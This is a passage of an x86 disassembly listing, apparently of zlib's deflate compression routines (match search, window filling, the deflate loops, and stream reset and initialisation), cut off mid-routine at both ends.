esi mov edi, eax jge short loc_40F045 lea esi, [eax+edx] mov al, [esi-1] mov [ebp+var_1], al mov al, [esi] mov [ebp+var_2], al loc_40F027: ; CODE XREF: sub_40EF0E+7Cj ; sub_40EF0E+89j ... mov esi, [ecx+34h] and esi, [ebp+arg_0] mov eax, [ecx+40h] movzx eax, word ptr [eax+esi*2] cmp eax, [ebp+var_10] mov [ebp+arg_0], eax jbe short loc_40F045 dec [ebp+var_8] jnz loc_40EF7F loc_40F045: ; CODE XREF: sub_40EF0E+109j ; sub_40EF0E+12Cj mov eax, [ecx+74h] cmp edi, eax ja short loc_40F04E mov eax, edi loc_40F04E: ; CODE XREF: sub_40EF0E+13Cj pop edi pop esi pop ebx leave retn sub_40EF0E endp ; =============== S U B R O U T I N E ======================================= sub_40F053 proc near ; CODE XREF: .text:0040F412p ; .text:0040F726p push ebx push esi mov esi, eax mov ecx, [esi+38h] mov eax, [esi+6Ch] add eax, ecx add ecx, edi mov bl, [ecx] cmp bl, [eax] lea edx, [eax+102h] jnz short loc_40F0D7 mov bl, [ecx+1] cmp bl, [eax+1] jnz short loc_40F0D7 inc eax inc eax inc ecx inc ecx loc_40F079: ; CODE XREF: sub_40F053+68j inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_40F0BD inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_40F0BD inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_40F0BD inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_40F0BD inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_40F0BD inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_40F0BD inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_40F0BD inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_40F0BD cmp eax, edx jb short loc_40F079 loc_40F0BD: ; CODE XREF: sub_40F053+2Cj ; sub_40F053+34j ... sub eax, edx add eax, 102h cmp eax, 3 jl short loc_40F0D7 mov [esi+70h], edi mov esi, [esi+74h] cmp eax, esi jbe short loc_40F0DA mov eax, esi jmp short loc_40F0DA ; --------------------------------------------------------------------------- loc_40F0D7: ; CODE XREF: sub_40F053+18j ; sub_40F053+20j ... push 2 pop eax loc_40F0DA: ; CODE XREF: sub_40F053+7Ej ; sub_40F053+82j pop esi pop ebx retn sub_40F053 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0DD proc near ; CODE XREF: sub_40F22C+24p ; .text:0040F36Ap ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, [esi+2Ch] push edi loc_40F0E8: ; CODE XREF: sub_40F0DD+145j mov edi, [esi+3Ch] sub edi, [esi+74h] mov eax, [esi+6Ch] mov ecx, [esi+2Ch] sub edi, eax lea ecx, [ebx+ecx-106h] cmp eax, ecx mov [ebp+var_8], edi jb short loc_40F16A mov eax, [esi+38h] push ebx lea ecx, [eax+ebx] push ecx push eax call sub_40CCF7 mov eax, [esi+4Ch] mov ecx, [esi+44h] sub [esi+70h], ebx sub [esi+6Ch], ebx add esp, 0Ch sub [esi+5Ch], ebx mov [ebp+var_4], eax lea eax, [ecx+eax*2] loc_40F12A: ; CODE XREF: sub_40F0DD+64j dec eax dec eax movzx ecx, word ptr [eax] mov edx, ecx sub edx, ebx cmp ecx, ebx sbb ecx, ecx not ecx and ecx, edx dec [ebp+var_4] mov [eax], cx jnz short loc_40F12A mov eax, [esi+40h] mov [ebp+var_4], ebx lea eax, [eax+ebx*2] loc_40F14C: ; CODE XREF: sub_40F0DD+86j dec eax dec eax movzx ecx, word ptr [eax] mov edx, ecx sub edx, ebx cmp ecx, ebx sbb ecx, ecx not ecx and ecx, edx dec [ebp+var_4] mov [eax], cx jnz short loc_40F14C add edi, ebx mov [ebp+var_8], edi loc_40F16A: ; CODE XREF: sub_40F0DD+25j mov edi, [esi] cmp dword ptr [edi+4], 0 jz loc_40F228 mov eax, [esi+74h] add eax, [esi+6Ch] mov ecx, [edi+4] add eax, [esi+38h] mov edx, [ebp+var_8] cmp ecx, edx mov [ebp+var_C], eax mov [ebp+var_4], ecx jbe short loc_40F192 mov [ebp+var_4], edx loc_40F192: ; CODE XREF: sub_40F0DD+B0j mov edx, [ebp+var_4] test edx, edx jnz short loc_40F19D xor eax, eax jmp short loc_40F1E9 ; --------------------------------------------------------------------------- loc_40F19D: ; CODE XREF: sub_40F0DD+BAj sub ecx, edx mov [edi+4], ecx mov ecx, [edi+1Ch] mov ecx, [ecx+18h] cmp ecx, 1 jnz short loc_40F1BA push edx push dword ptr [edi] push dword ptr [edi+30h] call sub_40E0E6 jmp short loc_40F1CA ; --------------------------------------------------------------------------- loc_40F1BA: ; CODE XREF: sub_40F0DD+CEj cmp ecx, 2 jnz short loc_40F1D3 push edx push dword ptr [edi] push dword ptr [edi+30h] call sub_40E5EB loc_40F1CA: ; CODE XREF: sub_40F0DD+DBj mov [edi+30h], eax mov eax, [ebp+var_C] add esp, 0Ch loc_40F1D3: ; CODE XREF: sub_40F0DD+E0j push [ebp+var_4] push dword ptr [edi] push eax call sub_40CCF7 mov eax, [ebp+var_4] add [edi], eax add esp, 0Ch add [edi+8], eax loc_40F1E9: ; CODE XREF: sub_40F0DD+BEj add [esi+74h], eax mov edi, [esi+74h] cmp edi, 3 jb short loc_40F214 mov eax, [esi+6Ch] mov ecx, [esi+38h] lea edx, [eax+ecx] movzx eax, byte ptr [edx] mov ecx, [esi+58h] mov [esi+48h], eax shl eax, cl movzx ecx, byte ptr [edx+1] xor eax, ecx and eax, [esi+54h] mov [esi+48h], eax loc_40F214: ; CODE XREF: sub_40F0DD+115j cmp edi, 106h jnb short loc_40F228 mov eax, [esi] cmp dword ptr [eax+4], 0 jnz loc_40F0E8 loc_40F228: ; CODE XREF: sub_40F0DD+93j ; sub_40F0DD+13Dj pop edi pop ebx leave retn sub_40F0DD endp ; =============== S U B R O U T I N E ======================================= sub_40F22C proc near ; CODE XREF: sub_40E674+60Ap ; DATA XREF: .rdata:off_41E2E0o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] mov ecx, [esi+0Ch] mov eax, 0FFFFh add ecx, 0FFFFFFFBh cmp ecx, eax push edi mov ebx, eax jnb short loc_40F246 mov ebx, ecx loc_40F246: ; CODE XREF: sub_40F22C+16j xor edi, edi loc_40F248: ; CODE XREF: sub_40F22C+92j ; sub_40F22C+BFj mov eax, [esi+74h] cmp eax, 1 ja short loc_40F260 call sub_40F0DD mov eax, [esi+74h] cmp eax, edi jz loc_40F2F7 loc_40F260: ; CODE XREF: sub_40F22C+22j add [esi+6Ch], eax mov edx, [esi+5Ch] mov ecx, [esi+6Ch] mov [esi+74h], edi lea eax, [edx+ebx] jz short loc_40F275 cmp ecx, eax jb short loc_40F2AC loc_40F275: ; CODE XREF: sub_40F22C+43j sub ecx, eax cmp edx, edi mov [esi+74h], ecx mov [esi+6Ch], eax jl short loc_40F288 mov ecx, [esi+38h] add ecx, edx jmp short loc_40F28A ; --------------------------------------------------------------------------- loc_40F288: ; CODE XREF: sub_40F22C+53j xor ecx, ecx loc_40F28A: ; CODE XREF: sub_40F22C+5Aj push edi sub eax, edx push eax push ecx push esi call sub_412DBD mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_40E627 mov eax, [esi] cmp [eax+10h], edi jz short loc_40F2F1 loc_40F2AC: ; CODE XREF: sub_40F22C+47j mov ecx, [esi+5Ch] mov edx, [esi+6Ch] mov eax, [esi+2Ch] sub edx, ecx sub eax, 106h cmp edx, eax jb short loc_40F248 cmp ecx, edi jl short loc_40F2CB mov eax, [esi+38h] add eax, ecx jmp short loc_40F2CD ; --------------------------------------------------------------------------- loc_40F2CB: ; CODE XREF: sub_40F22C+96j xor eax, eax loc_40F2CD: ; CODE XREF: sub_40F22C+9Dj push edi push edx push eax push esi call sub_412DBD mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_40E627 mov eax, [esi] cmp [eax+10h], edi jnz loc_40F248 loc_40F2F1: ; CODE XREF: sub_40F22C+7Ej ; sub_40F22C+D1j ... xor eax, eax loc_40F2F3: ; CODE XREF: sub_40F22C+118j ; sub_40F22C+126j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F22C+2Ej mov ebx, [esp+0Ch+arg_4] cmp ebx, edi jz short loc_40F2F1 mov ecx, [esi+5Ch] cmp ecx, edi jl short loc_40F30D mov eax, [esi+38h] add eax, ecx jmp short loc_40F30F ; --------------------------------------------------------------------------- loc_40F30D: ; CODE XREF: sub_40F22C+D8j xor eax, eax loc_40F30F: ; CODE XREF: sub_40F22C+DFj xor edx, edx cmp ebx, 4 setz dl push edx mov edx, [esi+6Ch] sub edx, ecx push edx push eax push esi call sub_412DBD add esp, 10h mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] call sub_40E627 mov eax, [esi] cmp [eax+10h], edi jnz short loc_40F346 cmp ebx, 4 jnz short loc_40F2F1 push 2 pop eax jmp short loc_40F2F3 ; --------------------------------------------------------------------------- loc_40F346: ; CODE XREF: sub_40F22C+10Ej xor eax, eax cmp ebx, 4 setz al lea eax, [eax+eax+1] jmp short loc_40F2F3 sub_40F22C endp ; --------------------------------------------------------------------------- push ebx push ebp push esi mov esi, [esp+10h] push edi xor edi, edi mov ebx, 106h loc_40F363: ; CODE XREF: .text:0040F59Cj ; .text:0040F5D7j mov eax, [esi+74h] cmp eax, ebx jnb short loc_40F389 call sub_40F0DD mov eax, [esi+74h] cmp eax, ebx jnb short loc_40F381 cmp dword ptr [esp+18h], 0 jz loc_40F5DD loc_40F381: ; CODE XREF: .text:0040F374j test eax, eax jz loc_40F5E4 loc_40F389: ; CODE XREF: .text:0040F368j push 3 pop ebp cmp eax, ebp jb short loc_40F3D9 mov eax, [esi+48h] mov ecx, [esi+58h] mov edx, [esi+6Ch] mov edi, [esi+34h] shl eax, cl mov ecx, [esi+38h] movzx ecx, byte ptr [ecx+edx+2] xor eax, ecx and eax, [esi+54h] mov ecx, [esi+44h] mov [esi+48h], eax mov ax, [ecx+eax*2] and edi, edx mov edx, [esi+40h] mov [edx+edi*2], ax mov eax, [esi+6Ch] and eax, [esi+34h] mov ecx, [esi+40h] movzx edi, word ptr [ecx+eax*2] mov eax, [esi+48h] mov ecx, [esi+44h] mov dx, [esi+6Ch] mov [ecx+eax*2], dx loc_40F3D9: ; CODE XREF: .text:0040F38Ej test edi, edi jz short loc_40F41A mov eax, [esi+6Ch] mov ecx, [esi+2Ch] sub eax, edi sub ecx, ebx cmp eax, ecx ja short loc_40F41A mov ecx, [esi+88h] cmp ecx, 2 jz short loc_40F407 cmp ecx, ebp jz short loc_40F40B push edi mov ecx, esi call sub_40EF0E add esp, 4 jmp short loc_40F417 ; --------------------------------------------------------------------------- loc_40F407: ; CODE XREF: .text:0040F3F4j cmp ecx, ebp jnz short loc_40F41A loc_40F40B: ; CODE XREF: .text:0040F3F8j cmp eax, 1 jnz short loc_40F41A mov eax, esi call sub_40F053 loc_40F417: ; CODE XREF: .text:0040F405j mov [esi+60h], eax loc_40F41A: ; CODE XREF: .text:0040F3DBj ; .text:0040F3E9j ... cmp [esi+60h], ebp jb loc_40F544 mov cx, [esi+6Ch] sub cx, [esi+70h] mov edx, [esi+16A0h] mov al, [esi+60h] mov ebp, [esi+16A4h] sub al, 3 movzx ecx, cx mov [ebp+edx*2+0], cx mov ebp, [esi+16A0h] mov edx, [esi+1698h] mov [edx+ebp], al inc dword ptr [esi+16A0h] movzx eax, al movzx eax, ds:byte_41FFE0[eax] add ecx, 0FFFFh lea eax, [esi+eax*4+498h] inc word ptr [eax] cmp cx, 100h movzx eax, cx jnb short loc_40F486 movzx eax, ds:byte_41FDE0[eax] jmp short loc_40F490 ; --------------------------------------------------------------------------- loc_40F486: ; CODE XREF: .text:0040F47Bj shr eax, 7 movzx eax, ds:byte_41FEE0[eax] loc_40F490: ; CODE XREF: .text:0040F484j lea eax, [esi+eax*4+988h] inc word ptr [eax] mov eax, [esi+169Ch] xor ecx, ecx dec eax cmp [esi+16A0h], eax mov eax, [esi+60h] setz cl sub [esi+74h], eax cmp eax, [esi+80h] mov ebp, ecx mov ecx, [esi+74h] ja short loc_40F51B cmp ecx, 3 jb short loc_40F51B dec eax mov [esi+60h], eax loc_40F4C8: ; CODE XREF: .text:0040F517j inc dword ptr [esi+6Ch] mov edx, [esi+6Ch] mov edi, [esi+48h] mov ecx, [esi+58h] mov eax, [esi+38h] movzx eax, byte ptr [edx+eax+2] shl edi, cl mov ecx, [esi+44h] xor eax, edi and eax, [esi+54h] mov edi, [esi+34h] mov [esi+48h], eax mov ax, [ecx+eax*2] and edi, edx mov edx, [esi+40h] mov [edx+edi*2], ax mov eax, [esi+6Ch] and eax, [esi+34h] mov ecx, [esi+40h] movzx edi, word ptr [ecx+eax*2] mov eax, [esi+48h] mov ecx, [esi+44h] mov dx, [esi+6Ch] mov [ecx+eax*2], dx dec dword ptr [esi+60h] jnz short loc_40F4C8 jmp short loc_40F597 ; --------------------------------------------------------------------------- loc_40F51B: ; CODE XREF: .text:0040F4BDj ; .text:0040F4C2j add [esi+6Ch], eax mov eax, [esi+6Ch] mov ecx, [esi+38h] and dword ptr [esi+60h], 0 lea edx, [eax+ecx] movzx eax, byte ptr [edx] mov ecx, [esi+58h] mov [esi+48h], eax shl eax, cl movzx ecx, byte ptr [edx+1] xor eax, ecx and eax, [esi+54h] mov [esi+48h], eax jmp short loc_40F59A ; --------------------------------------------------------------------------- loc_40F544: ; CODE XREF: .text:0040F41Dj mov eax, [esi+6Ch] mov ecx, [esi+38h] mov al, [eax+ecx] mov ecx, [esi+16A0h] mov edx, [esi+16A4h] and word ptr [edx+ecx*2], 0 mov ecx, [esi+1698h] mov edx, [esi+16A0h] mov [ecx+edx], al inc dword ptr [esi+16A0h] movzx eax, al lea eax, [esi+eax*4+94h] inc word ptr [eax] mov eax, [esi+169Ch] xor ecx, ecx dec eax cmp [esi+16A0h], eax setz cl dec dword ptr [esi+74h] mov ebp, ecx loc_40F597: ; CODE XREF: .text:0040F519j inc dword ptr [esi+6Ch] loc_40F59A: ; CODE XREF: .text:0040F542j test ebp, ebp jz loc_40F363 mov ecx, [esi+5Ch] test ecx, ecx jl short loc_40F5B0 mov eax, [esi+38h] add eax, ecx jmp short loc_40F5B2 ; --------------------------------------------------------------------------- loc_40F5B0: ; CODE XREF: .text:0040F5A7j xor eax, eax loc_40F5B2: ; CODE XREF: .text:0040F5AEj mov edx, [esi+6Ch] push 0 sub edx, ecx push edx push eax push esi call sub_412DBD mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_40E627 mov eax, [esi] cmp dword ptr [eax+10h], 0 jnz loc_40F363 loc_40F5DD: ; CODE XREF: .text:0040F37Bj ; .text:0040F629j xor eax, eax loc_40F5DF: ; CODE XREF: .text:0040F62Ej ; .text:0040F63Cj pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_40F5E4: ; CODE XREF: .text:0040F383j mov ecx, [esi+5Ch] test ecx, ecx jl short loc_40F5F2 mov eax, [esi+38h] add eax, ecx jmp short loc_40F5F4 ; --------------------------------------------------------------------------- loc_40F5F2: ; CODE XREF: .text:0040F5E9j xor eax, eax loc_40F5F4: ; CODE XREF: .text:0040F5F0j mov edi, [esp+18h] xor edx, edx cmp edi, 4 setz dl push edx mov edx, [esi+6Ch] sub edx, ecx push edx push eax push esi call sub_412DBD add esp, 10h mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] call sub_40E627 mov eax, [esi] cmp dword ptr [eax+10h], 0 jnz short loc_40F630 cmp edi, 4 jnz short loc_40F5DD push 2 pop eax jmp short loc_40F5DF ; --------------------------------------------------------------------------- loc_40F630: ; CODE XREF: .text:0040F624j xor eax, eax cmp edi, 4 setz al lea eax, [eax+eax+1] jmp short loc_40F5DF ; --------------------------------------------------------------------------- push ecx push ebx push ebp push esi mov esi, [esp+14h] xor ebx, ebx push edi mov [esp+10h], ebx loc_40F64D: ; CODE XREF: .text:0040F87Dj ; .text:0040F940j ... mov eax, [esi+74h] mov edi, 106h cmp eax, edi jnb short loc_40F677 call sub_40F0DD mov eax, [esi+74h] cmp eax, edi jnb short loc_40F66F cmp [esp+1Ch], ebx jz loc_40F946 loc_40F66F: ; CODE XREF: .text:0040F663j cmp eax, ebx jz loc_40F960 loc_40F677: ; CODE XREF: .text:0040F657j cmp eax, 3 jb short loc_40F6C9 mov eax, [esi+48h] mov ecx, [esi+58h] mov edx, [esi+6Ch] mov ebp, [esi+34h] shl eax, cl mov ecx, [esi+38h] movzx ecx, byte ptr [ecx+edx+2] xor eax, ecx and eax, [esi+54h] mov ecx, [esi+44h] mov [esi+48h], eax mov ax, [ecx+eax*2] and ebp, edx mov edx, [esi+40h] mov [edx+ebp*2], ax mov eax, [esi+6Ch] and eax, [esi+34h] mov ecx, [esi+40h] movzx eax, word ptr [ecx+eax*2] mov ecx, [esi+44h] mov dx, [esi+6Ch] mov [esp+10h], eax mov eax, [esi+48h] mov [ecx+eax*2], dx loc_40F6C9: ; CODE XREF: .text:0040F67Aj mov eax, [esi+60h] mov edx, [esp+10h] cmp edx, ebx push 2 mov [esi+78h], eax mov eax, [esi+70h] pop ebp mov [esi+64h], eax mov [esi+60h], ebp jz short loc_40F754 mov eax, [esi+78h] cmp eax, [esi+80h] jnb short loc_40F754 mov eax, [esi+6Ch] mov ecx, [esi+2Ch] sub eax, edx sub ecx, edi cmp eax, ecx ja short loc_40F754 mov ecx, [esi+88h] cmp ecx, ebp jz short loc_40F718 cmp ecx, 3 jz short loc_40F71D push edx mov ecx, esi call sub_40EF0E add esp, 4 jmp short loc_40F72B ; --------------------------------------------------------------------------- loc_40F718: ; CODE XREF: .text:0040F704j cmp ecx, 3 jnz short loc_40F72E loc_40F71D: ; CODE XREF: .text:0040F709j cmp eax, 1 jnz short loc_40F72E mov edi, edx mov eax, esi call sub_40F053 loc_40F72B: ; CODE XREF: .text:0040F716j mov [esi+60h], eax loc_40F72E: ; CODE XREF: .text:0040F71Bj ; .text:0040F720j mov eax, [esi+60h] cmp eax, 5 ja short loc_40F754 cmp dword ptr [esi+88h], 1 jz short loc_40F751 cmp eax, 3 jnz short loc_40F754 mov eax, [esi+6Ch] sub eax, [esi+70h] cmp eax, 1000h jbe short loc_40F754 loc_40F751: ; CODE XREF: .text:0040F73Dj mov [esi+60h], ebp loc_40F754: ; CODE XREF: .text:0040F6E1j ; .text:0040F6ECj ... mov eax, [esi+78h] cmp eax, 3 jb loc_40F8B3 cmp [esi+60h], eax ja loc_40F8B3 mov eax, [esi+6Ch] mov ecx, [esi+74h] mov edx, [esi+16A0h] mov edi, [esi+16A4h] lea ebp, [eax+ecx-3] mov cx, [esi+6Ch] sub cx, [esi+64h] mov al, [esi+78h] sub al, 3 dec cx movzx ecx, cx mov [edi+edx*2], cx mov edi, [esi+16A0h] mov edx, [esi+1698h] mov [edx+edi], al inc dword ptr [esi+16A0h] movzx eax, al movzx eax, ds:byte_41FFE0[eax] add ecx, 0FFFFh lea eax, [esi+eax*4+498h] inc word ptr [eax] cmp cx, 100h movzx eax, cx jnb short loc_40F7D7 movzx eax, ds:byte_41FDE0[eax] jmp short loc_40F7E1 ; --------------------------------------------------------------------------- loc_40F7D7: ; CODE XREF: .text:0040F7CCj shr eax, 7 movzx eax, ds:byte_41FEE0[eax] loc_40F7E1: ; CODE XREF: .text:0040F7D5j lea eax, [esi+eax*4+988h] inc word ptr [eax] mov eax, [esi+169Ch] xor ecx, ecx dec eax cmp [esi+16A0h], eax mov eax, [esi+78h] setz cl mov edi, ecx xor ecx, ecx inc ecx sub ecx, eax add [esi+74h], ecx add eax, 0FFFFFFFEh mov [esi+78h], eax loc_40F810: ; CODE XREF: .text:0040F869j inc dword ptr [esi+6Ch] mov edx, [esi+6Ch] cmp edx, ebp ja short loc_40F866 mov eax, [esi+48h] mov ecx, [esi+58h] mov ebx, [esi+34h] shl eax, cl mov ecx, [esi+38h] movzx ecx, byte ptr [ecx+edx+2] xor eax, ecx and eax, [esi+54h] mov ecx, [esi+44h] mov [esi+48h], eax mov ax, [ecx+eax*2] and ebx, edx mov edx, [esi+40h] mov [edx+ebx*2], ax mov eax, [esi+6Ch] and eax, [esi+34h] mov ecx, [esi+40h] movzx eax, word ptr [ecx+eax*2] mov ecx, [esi+44h] mov dx, [esi+6Ch] mov [esp+10h], eax mov eax, [esi+48h] mov [ecx+eax*2], dx xor ebx, ebx loc_40F866: ; CODE XREF: .text:0040F818j dec dword ptr [esi+78h] jnz short loc_40F810 inc dword ptr [esi+6Ch] cmp edi, ebx mov eax, [esi+6Ch] mov [esi+68h], ebx mov dword ptr [esi+60h], 2 jz loc_40F64D mov edx, [esi+5Ch] cmp edx, ebx jl short loc_40F891 mov ecx, [esi+38h] add ecx, edx jmp short loc_40F893 ; --------------------------------------------------------------------------- loc_40F891: ; CODE XREF: .text:0040F888j xor ecx, ecx loc_40F893: ; CODE XREF: .text:0040F88Fj push ebx sub eax, edx push eax push ecx push esi call sub_412DBD mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_40E627 jmp loc_40F93B ; --------------------------------------------------------------------------- loc_40F8B3: ; CODE XREF: .text:0040F75Aj ; .text:0040F763j cmp [esi+68h], ebx jz loc_40F94E mov eax, [esi+6Ch] mov ecx, [esi+38h] mov al, [eax+ecx-1] mov ecx, [esi+16A0h] mov edx, [esi+16A4h] mov [edx+ecx*2], bx mov edx, [esi+16A0h] mov ecx, [esi+1698h] mov [ecx+edx], al inc dword ptr [esi+16A0h] movzx eax, al lea eax, [esi+eax*4+94h] inc word ptr [eax] mov eax, [esi+169Ch] dec eax cmp [esi+16A0h], eax jnz short loc_40F935 mov ecx, [esi+5Ch] cmp ecx, ebx jl short loc_40F915 mov eax, [esi+38h] add eax, ecx jmp short loc_40F917 ; --------------------------------------------------------------------------- loc_40F915: ; CODE XREF: .text:0040F90Cj xor eax, eax loc_40F917: ; CODE XREF: .text:0040F913j mov edx, [esi+6Ch] push ebx sub edx, ecx push edx push eax push esi call sub_412DBD mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_40E627 loc_40F935: ; CODE XREF: .text:0040F905j inc dword ptr [esi+6Ch] dec dword ptr [esi+74h] loc_40F93B: ; CODE XREF: .text:0040F8AEj mov eax, [esi] cmp [eax+10h], ebx jnz loc_40F64D loc_40F946: ; CODE XREF: .text:0040F669j ; .text:0040F9E2j xor eax, eax loc_40F948: ; CODE XREF: .text:0040F9EBj ; .text:0040F9FEj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_40F94E: ; CODE XREF: .text:0040F8B6j inc dword ptr [esi+6Ch] dec dword ptr [esi+74h] mov dword ptr [esi+68h], 1 jmp loc_40F64D ; --------------------------------------------------------------------------- loc_40F960: ; CODE XREF: .text:0040F671j cmp [esi+68h], ebx jz short loc_40F99E mov eax, [esi+6Ch] mov ecx, [esi+38h] mov cl, [eax+ecx-1] mov edi, [esi+16A4h] lea eax, [esi+16A0h] mov edx, [eax] mov [edi+edx*2], bx mov edi, [eax] mov edx, [esi+1698h] mov [edx+edi], cl inc dword ptr [eax] movzx eax, cl lea eax, [esi+eax*4+94h] inc word ptr [eax] mov [esi+68h], ebx loc_40F99E: ; CODE XREF: .text:0040F963j mov ecx, [esi+5Ch] cmp ecx, ebx jl short loc_40F9AC mov eax, [esi+38h] add eax, ecx jmp short loc_40F9AE ; --------------------------------------------------------------------------- loc_40F9AC: ; CODE XREF: .text:0040F9A3j xor eax, eax loc_40F9AE: ; CODE XREF: .text:0040F9AAj xor edx, edx cmp dword ptr [esp+1Ch], 4 setz dl push edx mov edx, [esi+6Ch] sub edx, ecx push edx push eax push esi call sub_412DBD mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_40E627 mov eax, [esi] cmp [eax+10h], ebx jnz short loc_40F9F0 cmp dword ptr [esp+1Ch], 4 jnz loc_40F946 push 2 pop eax jmp loc_40F948 ; --------------------------------------------------------------------------- loc_40F9F0: ; CODE XREF: .text:0040F9DBj xor eax, eax cmp dword ptr [esp+1Ch], 4 setz al lea eax, [eax+eax+1] jmp loc_40F948 ; =============== S U B R O U T I N E ======================================= sub_40FA03 proc near ; CODE XREF: sub_40FA8A+1A5p arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] xor ebx, ebx cmp edi, ebx jz short loc_40FA83 mov esi, [edi+1Ch] cmp esi, ebx jz short loc_40FA83 cmp [edi+20h], ebx jz short loc_40FA83 cmp [edi+24h], ebx jz short loc_40FA83 push 2 mov [edi+14h], ebx mov [edi+8], ebx mov [edi+18h], ebx pop ecx mov [edi+2Ch], ecx mov eax, [esi+8] mov [esi+10h], eax mov eax, [esi+18h] cmp eax, ebx mov [esi+14h], ebx jge short loc_40FA45 neg eax mov [esi+18h], eax loc_40FA45: ; CODE XREF: sub_40FA03+3Bj mov eax, [esi+18h] mov edx, eax neg edx sbb edx, edx and edx, 0FFFFFFB9h push ebx add edx, 71h cmp eax, ecx push ebx mov [esi+4], edx push ebx jnz short loc_40FA65 call sub_40E5EB jmp short loc_40FA6A ; --------------------------------------------------------------------------- loc_40FA65: ; CODE XREF: sub_40FA03+59j call sub_40E0E6 loc_40FA6A: ; CODE XREF: sub_40FA03+60j add esp, 0Ch mov [edi+30h], eax push esi mov [esi+28h], ebx call sub_412850 pop ecx call sub_40EE90 xor eax, eax jmp short loc_40FA86 ; --------------------------------------------------------------------------- loc_40FA83: ; CODE XREF: sub_40FA03+Bj ; sub_40FA03+12j ... push 0FFFFFFFEh pop eax loc_40FA86: ; CODE XREF: sub_40FA03+7Ej pop edi pop esi pop ebx retn sub_40FA03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA8A proc near ; CODE XREF: sub_40FC5A+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, [ebp+arg_18] push ebx xor ebx, ebx xor ecx, ecx push esi inc ebx cmp eax, ecx push edi jz loc_40FC52 cmp byte ptr [eax], 31h jnz loc_40FC52 cmp [ebp+arg_1C], 38h jnz loc_40FC52 mov edi, [ebp+arg_0] cmp edi, ecx jnz short loc_40FAC1 loc_40FABA: ; CODE XREF: sub_40FA8A+82j ; sub_40FA8A+88j ... push 0FFFFFFFEh jmp loc_40FC54 ; --------------------------------------------------------------------------- loc_40FAC1: ; CODE XREF: sub_40FA8A+2Ej cmp [edi+20h], ecx mov [edi+18h], ecx jnz short loc_40FAD3 mov dword ptr [edi+20h], offset sub_41302F mov [edi+28h], ecx loc_40FAD3: ; CODE XREF: sub_40FA8A+3Dj cmp [edi+24h], ecx jnz short loc_40FADF mov dword ptr [edi+24h], offset sub_413040 loc_40FADF: ; CODE XREF: sub_40FA8A+4Cj cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_40FAEC mov [ebp+arg_4], 6 loc_40FAEC: ; CODE XREF: sub_40FA8A+59j cmp [ebp+arg_C], ecx jge short loc_40FAF8 xor ebx, ebx neg [ebp+arg_C] jmp short loc_40FB05 ; --------------------------------------------------------------------------- loc_40FAF8: ; CODE XREF: sub_40FA8A+65j cmp [ebp+arg_C], 0Fh jle short loc_40FB05 sub [ebp+arg_C], 10h push 2 pop ebx loc_40FB05: ; CODE XREF: sub_40FA8A+6Cj ; sub_40FA8A+72j mov eax, [ebp+arg_10] dec eax cmp eax, 8 ja short loc_40FABA cmp [ebp+arg_8], 8 jnz short loc_40FABA mov eax, [ebp+arg_C] add eax, 0FFFFFFF8h cmp eax, 7 ja short loc_40FABA push 9 pop eax cmp [ebp+arg_4], eax ja short loc_40FABA cmp [ebp+arg_14], 4 ja short loc_40FABA cmp [ebp+arg_C], 8 jnz short loc_40FB36 mov [ebp+arg_C], eax loc_40FB36: ; CODE XREF: sub_40FA8A+A7j push 16C0h push 1 push dword ptr [edi+28h] call dword ptr [edi+20h] mov esi, eax add esp, 0Ch test esi, esi jnz short loc_40FB53 loc_40FB4C: ; CODE XREF: sub_40FA8A+1C3j push 0FFFFFFFCh jmp loc_40FC54 ; --------------------------------------------------------------------------- loc_40FB53: ; CODE XREF: sub_40FA8A+C0j mov eax, [ebp+arg_C] mov [edi+1Ch], esi and dword ptr [esi+1Ch], 0 mov ecx, eax mov [esi+18h], ebx xor ebx, ebx mov [esi+30h], eax inc ebx shl ebx, cl mov ecx, [ebp+arg_10] add ecx, 7 push 3 lea eax, [ebx-1] mov [esi+34h], eax xor eax, eax inc eax shl eax, cl mov [esi+50h], ecx xor edx, edx mov [esi], edi mov [esi+4Ch], eax dec eax mov [esi+54h], eax lea eax, [ecx+2] pop ecx div ecx push 2 mov [esi+2Ch], ebx push ebx mov [esi+58h], eax push dword ptr [edi+28h] call dword ptr [edi+20h] push 2 push dword ptr [esi+2Ch] mov [esi+38h], eax push dword ptr [edi+28h] call dword ptr [edi+20h] push 2 push dword ptr [esi+4Ch] mov [esi+40h], eax push dword ptr [edi+28h] call dword ptr [edi+20h] mov ecx, [ebp+arg_10] mov [esi+44h], eax xor eax, eax add ecx, 6 inc eax shl eax, cl push 4 lea 